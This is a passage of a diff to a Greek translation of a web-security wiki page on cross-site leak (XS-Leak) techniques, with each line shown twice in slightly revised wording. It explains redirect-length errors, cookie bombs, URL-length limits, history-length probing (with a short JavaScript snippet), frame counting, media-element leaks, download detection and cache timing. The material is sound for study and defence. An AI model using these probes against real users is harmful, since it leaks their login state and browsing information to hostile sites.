Αν μια ανακατεύθυνση από τον διακομιστή χρησιμοποιεί **είσοδο χρήστη μέσα στην ανακατεύθυνση** και **επιπλέον δεδομένα**. Είναι δυνατό να ανιχνευθεί αυτή η συμπεριφορά επειδή συνήθως οι **διακομιστές** έχουν ένα **όριο μήκους αιτήματος**. Αν τα **δεδομένα χρήστη** είναι **αυτό το μήκος - 1**, επειδή η **ανακατεύθυνση** χρησιμοποιεί **αυτά τα δεδομένα** και **προσθέτει** κάτι **επιπλέον**, θα προκαλέσει ένα **σφάλμα ανιχνεύσιμο μέσω των Σφαλμάτων**.
|
||||
Αν μια ανακατεύθυνση από τον διακομιστή χρησιμοποιεί **είσοδο χρήστη μέσα στην ανακατεύθυνση** και **επιπλέον δεδομένα**. Είναι δυνατόν να ανιχνευθεί αυτή η συμπεριφορά επειδή συνήθως οι **διακομιστές** έχουν ένα **όριο μήκους αιτήματος**. Αν τα **δεδομένα χρήστη** είναι **αυτό το μήκος - 1**, επειδή η **ανακατεύθυνση** χρησιμοποιεί **αυτά τα δεδομένα** και **προσθέτει** κάτι **επιπλέον**, θα προκαλέσει ένα **σφάλμα ανιχνεύσιμο μέσω των Σφαλμάτων**.
|
||||
|
||||
Αν μπορείτε με κάποιο τρόπο να ρυθμίσετε cookies σε έναν χρήστη, μπορείτε επίσης να εκτελέσετε αυτή την επίθεση ρυθμίζοντας αρκετά cookies ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) έτσι ώστε με το **αυξημένο μέγεθος απόκρισης** της **σωστής απόκρισης** να προκληθεί ένα **σφάλμα**. Σε αυτή την περίπτωση, θυμηθείτε ότι αν προκαλέσετε αυτό το αίτημα από τον ίδιο ιστότοπο, το `<script>` θα στείλει αυτόματα τα cookies (έτσι μπορείτε να ελέγξετε για σφάλματα).\
|
||||
Αν μπορείτε με κάποιο τρόπο να ορίσετε cookies σε έναν χρήστη, μπορείτε επίσης να εκτελέσετε αυτή την επίθεση **ορίζοντας αρκετά cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) έτσι ώστε με το **αυξημένο μέγεθος απόκρισης** της **σωστής απόκρισης** να προκληθεί ένα **σφάλμα**. Σε αυτή την περίπτωση, θυμηθείτε ότι αν προκαλέσετε αυτό το αίτημα από τον ίδιο ιστότοπο, το `<script>` θα στείλει αυτόματα τα cookies (έτσι μπορείτε να ελέγξετε για σφάλματα).\
|
||||
Ένα παράδειγμα του **cookie bomb + XS-Search** μπορεί να βρεθεί στη Σκοπούμενη λύση αυτής της αναφοράς: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` ή να είναι στο ίδιο πλαίσιο είναι συνήθως απαραίτητο για αυτόν τον τύπο επίθεσης.
|
||||
@ -583,7 +596,7 @@ audioElement.onerror = errHandler
|
||||
### URL Max Length - Client Side
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Pop-ups
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code / Περιεχόμενο
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης / Περιεχόμενο
|
||||
- **Περισσότερες πληροφορίες**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Περίληψη:** Ανιχνεύστε διαφορές στις αποκρίσεις επειδή το μήκος της απόκρισης ανακατεύθυνσης μπορεί να είναι πολύ μεγάλο για ένα αίτημα ώστε να παρατηρηθεί μια διαφορά.
|
||||
- **Παράδειγμα Κώδικα**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
@ -592,11 +605,11 @@ audioElement.onerror = errHandler
|
||||
|
||||
> Γενικά, η _πλατφόρμα ιστού_ δεν έχει όρια στο μήκος των URLs (αν και το 2^31 είναι ένα κοινό όριο). _Ο Chrome_ περιορίζει τα URLs σε μέγιστο μήκος **2MB** για πρακτικούς λόγους και για να αποφευχθούν προβλήματα άρνησης υπηρεσίας στην επικοινωνία μεταξύ διαδικασιών.
|
||||
|
||||
Επομένως, αν η **ανακατεύθυνση URL** που απάντησε είναι μεγαλύτερη σε μία από τις περιπτώσεις, είναι δυνατό να την ανακατευθύνετε με ένα **URL μεγαλύτερο από 2MB** για να χτυπήσετε το **όριο μήκους**. Όταν συμβαίνει αυτό, ο Chrome εμφανίζει μια σελίδα **`about:blank#blocked`**.
|
||||
Επομένως, αν η **ανακατευθυνόμενη URL είναι μεγαλύτερη σε μία από τις περιπτώσεις**, είναι δυνατόν να γίνει ανακατεύθυνση με ένα **URL μεγαλύτερο από 2MB** για να χτυπήσει το **όριο μήκους**. Όταν συμβαίνει αυτό, ο Chrome εμφανίζει μια σελίδα **`about:blank#blocked`**.
|
||||
|
||||
Η **ανιχνεύσιμη διαφορά** είναι ότι αν η **ανακατεύθυνση** ολοκληρώθηκε, το `window.origin` ρίχνει ένα **σφάλμα** επειδή μια διασυνοριακή προέλευση δεν μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες. Ωστόσο, αν το **όριο** χτυπηθεί και η φορτωμένη σελίδα ήταν **`about:blank#blocked`**, η **`origin`** του παραθύρου παραμένει αυτή του **γονέα**, η οποία είναι μια **προσβάσιμη πληροφορία.**
|
||||
Η **ανιχνεύσιμη διαφορά** είναι ότι αν η **ανακατεύθυνση** ολοκληρώθηκε, το `window.origin` ρίχνει ένα **σφάλμα** επειδή μια διασυνοριακή προέλευση δεν μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες. Ωστόσο, αν το **όριο** χτυπήθηκε και η φορτωμένη σελίδα ήταν **`about:blank#blocked`**, η **`origin`** του παραθύρου παραμένει αυτή του **γονέα**, η οποία είναι μια **προσβάσιμη πληροφορία**.
|
||||
|
||||
Όλες οι επιπλέον πληροφορίες που χρειάζονται για να φτάσετε τα **2MB** μπορούν να προστεθούν μέσω ενός **hash** στο αρχικό URL ώστε να χρησιμοποιηθούν στην ανακατεύθυνση.
|
||||
Όλες οι επιπλέον πληροφορίες που χρειάζονται για να φτάσετε τα **2MB** μπορούν να προστεθούν μέσω ενός **hash** στο αρχικό URL ώστε να χρησιμοποιηθεί στην ανακατεύθυνση.
|
||||
|
||||
{{#ref}}
|
||||
xs-search/url-max-length-client-side.md
|
||||
@ -605,7 +618,7 @@ xs-search/url-max-length-client-side.md
|
||||
### Max Redirects
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Fetch API, Frames
|
||||
- **Ανιχνεύσιμη Διαφορά**: Status Code
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης
|
||||
- **Περισσότερες πληροφορίες**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Περίληψη:** Χρησιμοποιήστε το όριο ανακατεύθυνσης του περιηγητή για να προσδιορίσετε την εμφάνιση ανακατευθύνσεων URL.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
@ -627,10 +640,10 @@ xs-search/url-max-length-client-side.md
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Frames, Pop-ups
|
||||
- **Ανιχνεύσιμη Διαφορά**: Αν το URL είναι το ίδιο με αυτό που μαντεύτηκε
|
||||
- **Περίληψη:** Είναι δυνατό να μαντέψετε αν η τοποθεσία ενός frame/pop-up είναι σε μια συγκεκριμένη URL εκμεταλλευόμενοι το μήκος της ιστορίας.
|
||||
- **Περίληψη:** Είναι δυνατόν να μαντέψετε αν η τοποθεσία ενός frame/pop-up είναι σε μια συγκεκριμένη URL εκμεταλλευόμενοι το μήκος της ιστορίας.
|
||||
- **Παράδειγμα Κώδικα**: Κάτω
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει τον κώδικα JavaScript για να **χειριστεί την τοποθεσία του frame/pop-up σε μια μαντεμένη** και **άμεσα** **να την αλλάξει σε `about:blank`**. Αν το μήκος της ιστορίας αυξήθηκε, σημαίνει ότι το URL ήταν σωστό και είχε χρόνο να **αυξηθεί επειδή το URL δεν ανανεώνεται αν είναι το ίδιο**. Αν δεν αυξήθηκε, σημαίνει ότι **προσπάθησε να φορτώσει το μαντεμένο URL**, αλλά επειδή **άμεσα μετά** φορτώθηκε **`about:blank`**, το **μήκος της ιστορίας δεν αυξήθηκε ποτέ** κατά τη φόρτωση του μαντεμένου URL.
|
||||
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει τον κώδικα JavaScript για να **χειριστεί την τοποθεσία του frame/pop-up σε μια μαντεμένη** και **άμεσα** **να την αλλάξει σε `about:blank`**. Αν το μήκος της ιστορίας αυξήθηκε, σημαίνει ότι το URL ήταν σωστό και είχε χρόνο να **αυξηθεί επειδή το URL δεν ανανεώνεται αν είναι το ίδιο**. Αν δεν αυξήθηκε, σημαίνει ότι **προσπάθησε να φορτώσει το μαντεμένο URL** αλλά επειδή **άμεσα μετά** φορτώθηκε **`about:blank`**, το **μήκος της ιστορίας δεν αυξήθηκε ποτέ** κατά τη φόρτωση του μαντεμένου URL.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -656,7 +669,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Αξιολογήστε την ποσότητα των στοιχείων iframe ελέγχοντας την ιδιότητα `window.length`.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Η **καταμέτρηση των πλαισίων σε μια ιστοσελίδα** που ανοίγεται μέσω `iframe` ή `window.open` μπορεί να βοηθήσει στην αναγνώριση της **κατάστασης του χρήστη σε αυτή τη σελίδα**.\
|
||||
Η **καταμέτρηση των πλαισίων σε έναν ιστότοπο** που ανοίγεται μέσω `iframe` ή `window.open` μπορεί να βοηθήσει στην αναγνώριση της **κατάστασης του χρήστη σε αυτή τη σελίδα**.\
|
||||
Επιπλέον, αν η σελίδα έχει πάντα τον ίδιο αριθμό πλαισίων, η **συνεχής** παρακολούθηση του αριθμού των πλαισίων μπορεί να βοηθήσει στην αναγνώριση ενός **μοτίβου** που μπορεί να διαρρεύσει πληροφορίες.
|
||||
|
||||
Ένα παράδειγμα αυτής της τεχνικής είναι ότι στο Chrome, ένα **PDF** μπορεί να **ανιχνευθεί** με **καταμέτρηση πλαισίων** επειδή χρησιμοποιείται ένα `embed` εσωτερικά. Υπάρχουν [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) που επιτρέπουν κάποιον έλεγχο πάνω στο περιεχόμενο όπως `zoom`, `view`, `page`, `toolbar` όπου αυτή η τεχνική θα μπορούσε να είναι ενδιαφέρουσα.
|
||||
@ -669,11 +682,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Διαβάστε την διαρρεύσουσα τιμή για να διακρίνετε μεταξύ 2 πιθανών καταστάσεων
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
Η διαρροή πληροφοριών μέσω HTML στοιχείων είναι μια ανησυχία στην ασφάλεια του διαδικτύου, ιδιαίτερα όταν δυναμικά αρχεία πολυμέσων παράγονται με βάση τις πληροφορίες του χρήστη, ή όταν προστίθενται υδατογραφήματα, αλλάζοντας το μέγεθος των πολυμέσων. Αυτό μπορεί να εκμεταλλευτεί από επιτιθέμενους για να διακρίνουν μεταξύ πιθανών καταστάσεων αναλύοντας τις πληροφορίες που εκτίθενται από ορισμένα HTML στοιχεία.
|
||||
Η διαρροή πληροφοριών μέσω HTML στοιχείων είναι μια ανησυχία στην ασφάλεια του ιστού, ιδιαίτερα όταν δυναμικά αρχεία πολυμέσων παράγονται με βάση τις πληροφορίες του χρήστη, ή όταν προστίθενται υδατογραφήματα, αλλάζοντας το μέγεθος των πολυμέσων. Αυτό μπορεί να εκμεταλλευτεί από επιτιθέμενους για να διακρίνουν μεταξύ πιθανών καταστάσεων αναλύοντας τις πληροφορίες που εκτίθενται από ορισμένα HTML στοιχεία.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: Αυτό το στοιχείο αποκαλύπτει την `duration` και τους `buffered` χρόνους του μέσου, οι οποίοι μπορούν να προσπελαστούν μέσω του API του. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLMediaElement**: Αυτό το στοιχείο αποκαλύπτει τη `διάρκεια` και τους `buffered` χρόνους του μέσου, οι οποίοι μπορούν να προσπελαστούν μέσω του API του. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Αποκαλύπτει το `videoHeight` και το `videoWidth`. Σε ορισμένους περιηγητές, είναι διαθέσιμες επιπλέον ιδιότητες όπως `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, και `webkitDecodedFrameCount`, προσφέροντας περισσότερες λεπτομέρειες σχετικά με το περιεχόμενο των πολυμέσων. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Αυτή η συνάρτηση παρέχει λεπτομέρειες σχετικά με την ποιότητα αναπαραγωγής βίντεο, συμπεριλαμβανομένων των `totalVideoFrames`, που μπορεί να υποδεικνύει την ποσότητα των δεδομένων βίντεο που επεξεργάζονται. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Αυτό το στοιχείο διαρρέει το `height` και το `width` μιας εικόνας. Ωστόσο, αν μια εικόνα είναι μη έγκυρη, αυτές οι ιδιότητες θα επιστρέψουν 0, και η συνάρτηση `image.decode()` θα απορριφθεί, υποδεικνύοντας την αποτυχία φόρτωσης της εικόνας σωστά. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
@ -704,7 +717,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
|
||||
Παρά αυτούς τους περιορισμούς, είναι δυνατόν να διακριθεί η επισκεφθείσα κατάσταση ενός συνδέσμου έμμεσα. Μια τεχνική περιλαμβάνει την εξαπάτηση του χρήστη να αλληλεπιδράσει με μια περιοχή που επηρεάζεται από το CSS, χρησιμοποιώντας ειδικά την ιδιότητα `mix-blend-mode`. Αυτή η ιδιότητα επιτρέπει την ανάμειξη στοιχείων με το φόντο τους, αποκαλύπτοντας πιθανώς την επισκεφθείσα κατάσταση με βάση την αλληλεπίδραση του χρήστη.
|
||||
|
||||
Επιπλέον, η ανίχνευση μπορεί να επιτευχθεί χωρίς αλληλεπίδραση του χρήστη εκμεταλλευόμενη τους χρόνους απόδοσης των συνδέσμων. Δεδομένου ότι οι περιηγητές μπορεί να αποδώσουν τους επισκεφθέντες και μη επισκεφθέντες συνδέσμους διαφορετικά, αυτό μπορεί να εισαγάγει μια μετρήσιμη χρονική διαφορά στην απόδοση. Ένα αποδεικτικό της έννοιας (PoC) αναφέρθηκε σε μια αναφορά σφάλματος του Chromium, που αποδεικνύει αυτή την τεχνική χρησιμοποιώντας πολλαπλούς συνδέσμους για να ενισχύσει τη χρονική διαφορά, καθιστώντας έτσι την επισκεφθείσα κατάσταση ανιχνεύσιμη μέσω ανάλυσης χρόνου.
|
||||
Επιπλέον, η ανίχνευση μπορεί να επιτευχθεί χωρίς αλληλεπίδραση του χρήστη εκμεταλλευόμενη τους χρόνους απόδοσης των συνδέσμων. Δεδομένου ότι οι περιηγητές μπορεί να αποδώσουν τους επισκεφθέντες και μη επισκεφθέντες συνδέσμους διαφορετικά, αυτό μπορεί να εισαγάγει μια μετρήσιμη διαφορά χρόνου στην απόδοση. Ένα αποδεικτικό της έννοιας (PoC) αναφέρθηκε σε μια αναφορά σφάλματος του Chromium, που αποδεικνύει αυτή την τεχνική χρησιμοποιώντας πολλαπλούς συνδέσμους για να ενισχύσει τη διαφορά χρόνου, καθιστώντας έτσι την επισκεφθείσα κατάσταση ανιχνεύσιμη μέσω ανάλυσης χρόνου.
|
||||
|
||||
Για περισσότερες λεπτομέρειες σχετικά με αυτές τις ιδιότητες και μεθόδους, επισκεφθείτε τις σελίδες τεκμηρίωσης τους:
|
||||
|
||||
@ -717,10 +730,10 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** Στο Google Chrome, εμφανίζεται μια ειδική σελίδα σφάλματος όταν μια σελίδα αποκλείεται από το να ενσωματωθεί σε μια διασυνοριακή τοποθεσία λόγω περιορισμών X-Frame-Options.
|
||||
- **Summary:** Στο Google Chrome, εμφανίζεται μια ειδική σελίδα σφάλματος όταν μια σελίδα αποκλείεται από το να ενσωματωθεί σε έναν ιστότοπο διασυνοριακής προέλευσης λόγω περιορισμών X-Frame-Options.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Στο Chrome, αν μια σελίδα με την κεφαλίδα `X-Frame-Options` ρυθμισμένη σε "deny" ή "same-origin" ενσωματωθεί ως αντικείμενο, εμφανίζεται μια σελίδα σφάλματος. Ο Chrome επιστρέφει μοναδικά ένα κενό αντικείμενο εγγράφου (αντί για `null`) για την ιδιότητα `contentDocument` αυτού του αντικειμένου, σε αντίθεση με τα iframes ή άλλους περιηγητές. Οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό αν ανιχνεύσουν το κενό έγγραφο, αποκαλύπτοντας πιθανώς πληροφορίες σχετικά με την κατάσταση του χρήστη, ειδικά αν οι προγραμματιστές ρυθμίζουν ασυνεπώς την κεφαλίδα X-Frame-Options, συχνά παραβλέποντας τις σελίδες σφάλματος. Η ευαισθητοποίηση και η συνεπής εφαρμογή των κεφαλίδων ασφαλείας είναι κρίσιμη για την αποτροπή τέτοιων διαρροών.
|
||||
Στο Chrome, αν μια σελίδα με την κεφαλίδα `X-Frame-Options` ρυθμισμένη σε "deny" ή "same-origin" ενσωματωθεί ως αντικείμενο, εμφανίζεται μια σελίδα σφάλματος. Ο Chrome επιστρέφει μοναδικά ένα κενό αντικείμενο εγγράφου (αντί για `null`) για την ιδιότητα `contentDocument` αυτού του αντικειμένου, σε αντίθεση με τα iframes ή άλλους περιηγητές. Οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτό ανιχνεύοντας το κενό έγγραφο, αποκαλύπτοντας πιθανώς πληροφορίες σχετικά με την κατάσταση του χρήστη, ειδικά αν οι προγραμματιστές ρυθμίζουν ασυνεπώς την κεφαλίδα X-Frame-Options, συχνά παραβλέποντας τις σελίδες σφάλματος. Η ευαισθητοποίηση και η συνεπής εφαρμογή των κεφαλίδων ασφαλείας είναι κρίσιμη για την αποτροπή τέτοιων διαρροών.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -730,43 +743,43 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Ένας επιτιθέμενος μπορεί να διακρίνει τις λήψεις αρχείων εκμεταλλευόμενος τα iframes; η συνεχής προσβασιμότητα του iframe υποδηλώνει επιτυχημένη λήψη αρχείου.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
Η κεφαλίδα `Content-Disposition`, συγκεκριμένα `Content-Disposition: attachment`, δίνει εντολή στον περιηγητή να κατεβάσει το περιεχόμενο αντί να το εμφανίσει ενσωματωμένο. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί για να ανιχνεύσει αν ένας χρήστης έχει πρόσβαση σε μια σελίδα που ενεργοποιεί μια λήψη αρχείου. Σε περιηγητές που βασίζονται στο Chromium, υπάρχουν μερικές τεχνικές για να ανιχνευθεί αυτή η συμπεριφορά λήψης:
|
||||
Η κεφαλίδα `Content-Disposition`, συγκεκριμένα `Content-Disposition: attachment`, δίνει εντολή στον περιηγητή να κατεβάσει το περιεχόμενο αντί να το εμφανίσει ενσωματωμένο. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί για να ανιχνεύσει αν ένας χρήστης έχει πρόσβαση σε μια σελίδα που προκαλεί λήψη αρχείου. Σε περιηγητές που βασίζονται στο Chromium, υπάρχουν μερικές τεχνικές για να ανιχνευθεί αυτή η συμπεριφορά λήψης:
|
||||
|
||||
1. **Παρακολούθηση Λωρίδας Λήψης**:
|
||||
- Όταν ένα αρχείο κατεβαίνει σε περιηγητές που βασίζονται στο Chromium, εμφανίζεται μια λωρίδα λήψης στο κάτω μέρος του παραθύρου του περιηγητή.
|
||||
- Παρακολουθώντας τις αλλαγές στο ύψος του παραθύρου, οι επιτιθέμενοι μπορούν να συμπεράνουν την εμφάνιση της λωρίδας λήψης, υποδεικνύοντας ότι έχει ξεκινήσει μια λήψη.
|
||||
2. **Λήψη Πλοήγησης με Iframes**:
|
||||
- Όταν μια σελίδα ενεργοποιεί μια λήψη αρχείου χρησιμοποιώντας την κεφαλίδα `Content-Disposition: attachment`, δεν προκαλεί ένα γεγονός πλοήγησης.
|
||||
- Όταν μια σελίδα προκαλεί μια λήψη αρχείου χρησιμοποιώντας την κεφαλίδα `Content-Disposition: attachment`, δεν προκαλεί ένα γεγονός πλοήγησης.
|
||||
- Φορτώνοντας το περιεχόμενο σε ένα iframe και παρακολουθώντας τα γεγονότα πλοήγησης, είναι δυνατόν να ελέγξετε αν η διάταξη περιεχομένου προκαλεί μια λήψη αρχείου (χωρίς πλοήγηση) ή όχι.
|
||||
3. **Λήψη Πλοήγησης χωρίς Iframes**:
|
||||
- Παρόμοια με την τεχνική iframe, αυτή η μέθοδος περιλαμβάνει τη χρήση του `window.open` αντί για ένα iframe.
|
||||
- Η παρακολούθηση των γεγονότων πλοήγησης στο νέο ανοιγμένο παράθυρο μπορεί να αποκαλύψει αν προκλήθηκε μια λήψη αρχείου (χωρίς πλοήγηση) ή αν το περιεχόμενο εμφανίζεται ενσωματωμένο (πλοήγηση συμβαίνει).
|
||||
- Η παρακολούθηση των γεγονότων πλοήγησης στο νεοανοιγμένο παράθυρο μπορεί να αποκαλύψει αν προκλήθηκε μια λήψη αρχείου (χωρίς πλοήγηση) ή αν το περιεχόμενο εμφανίζεται ενσωματωμένο (πλοήγηση συμβαίνει).
|
||||
|
||||
Σε σενάρια όπου μόνο οι συνδεδεμένοι χρήστες μπορούν να ενεργοποιήσουν τέτοιες λήψεις, αυτές οι τεχνικές μπορούν να χρησιμοποιηθούν για να συμπεράνουν έμμεσα την κατάσταση αυθεντικοποίησης του χρήστη με βάση την αντίδραση του περιηγητή στο αίτημα λήψης.
|
||||
Σε σενάρια όπου μόνο οι συνδεδεμένοι χρήστες μπορούν να προκαλέσουν τέτοιες λήψεις, αυτές οι τεχνικές μπορούν να χρησιμοποιηθούν για να συμπεράνουν έμμεσα την κατάσταση αυθεντικοποίησης του χρήστη με βάση την αντίδραση του περιηγητή στο αίτημα λήψης.
|
||||
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Χρόνος
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Summary:** Ένας επιτιθέμενος μπορεί να διακρίνει τις λήψεις αρχείων εκμεταλλευόμενος τα iframes; η συνεχής προσβασιμότητα του iframe υποδηλώνει επιτυχημένη λήψη αρχείου.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (από [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτός είναι ο λόγος που αυτή η τεχνική είναι ενδιαφέρουσα: Το Chrome έχει τώρα **κατανομή cache**, και το κλειδί cache της νέας ανοιγμένης σελίδας είναι: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, αλλά αν ανοίξω μια σελίδα ngrok και χρησιμοποιήσω fetch σε αυτήν, το κλειδί cache θα είναι: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, το **κλειδί cache είναι διαφορετικό**, οπότε η cache δεν μπορεί να μοιραστεί. Μπορείτε να βρείτε περισσότερες λεπτομέρειες εδώ: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> Αυτός είναι ο λόγος που αυτή η τεχνική είναι ενδιαφέρουσα: Το Chrome έχει τώρα **κατανομή cache**, και το κλειδί cache της νεοανοιγμένης σελίδας είναι: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, αλλά αν ανοίξω μια σελίδα ngrok και χρησιμοποιήσω fetch σε αυτήν, το κλειδί cache θα είναι: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, το **κλειδί cache είναι διαφορετικό**, οπότε η cache δεν μπορεί να μοιραστεί. Μπορείτε να βρείτε περισσότερες λεπτομέρειες εδώ: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Σχόλιο από [**εδώ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Αν μια τοποθεσία `example.com` περιλαμβάνει έναν πόρο από `*.example.com/resource`, τότε αυτός ο πόρος θα έχει το **ίδιο κλειδί cache** όπως αν ο πόρος ζητούνταν απευθείας **μέσω πλοήγησης κορυφαίου επιπέδου**. Αυτό συμβαίνει επειδή το κλειδί cache αποτελείται από το κορυφαίο _eTLD+1_ και το frame _eTLD+1_.
|
||||
|
||||
Δεδομένου ότι η πρόσβαση στην cache είναι ταχύτερη από τη φόρτωση ενός πόρου, είναι δυνατόν να προσπαθήσετε να αλλάξετε τη θέση μιας σελίδας και να την ακυρώσετε 20ms (για παράδειγμα) μετά. Αν η προέλευση άλλαξε μετά την διακοπή, σημαίνει ότι ο πόρος είχε αποθηκευτεί στην cache.\
|
||||
Ή θα μπορούσατε απλώς να **στείλετε κάποιο fetch στη δυνητικά αποθηκευμένη σελίδα και να μετρήσετε τον χρόνο που χρειάζεται**.
|
||||
Δεδομένου ότι η πρόσβαση στην cache είναι ταχύτερη από τη φόρτωση ενός πόρου, είναι δυνατόν να προσπαθήσετε να αλλάξετε τη θέση μιας σελίδας και να την ακυρώσετε 20ms (για παράδειγμα) αργότερα. Αν η προέλευση άλλαξε μετά την διακοπή, σημαίνει ότι ο πόρος είχε αποθηκευτεί στην cache.\
|
||||
Ή θα μπορούσατε απλώς να **στείλετε κάποιο fetch στη δυνητικά αποθηκευμένη σελίδα και να μετρήσετε τον χρόνο που απαιτείται**.
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Ανακατευθύνσεις
|
||||
- **Detectable Difference**: Redirects
|
||||
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Summary:** Είναι δυνατόν να ανακαλύψετε αν μια απάντηση σε ένα αίτημα fetch είναι μια ανακατεύθυνση
|
||||
- **Summary:** Είναι δυνατόν να ανακαλύψετε αν μια απάντηση σε ένα αίτημα fetch είναι ανακατεύθυνση
|
||||
- **Code Example**:
|
||||
|
||||
.png>)
|
||||
@ -774,9 +787,9 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
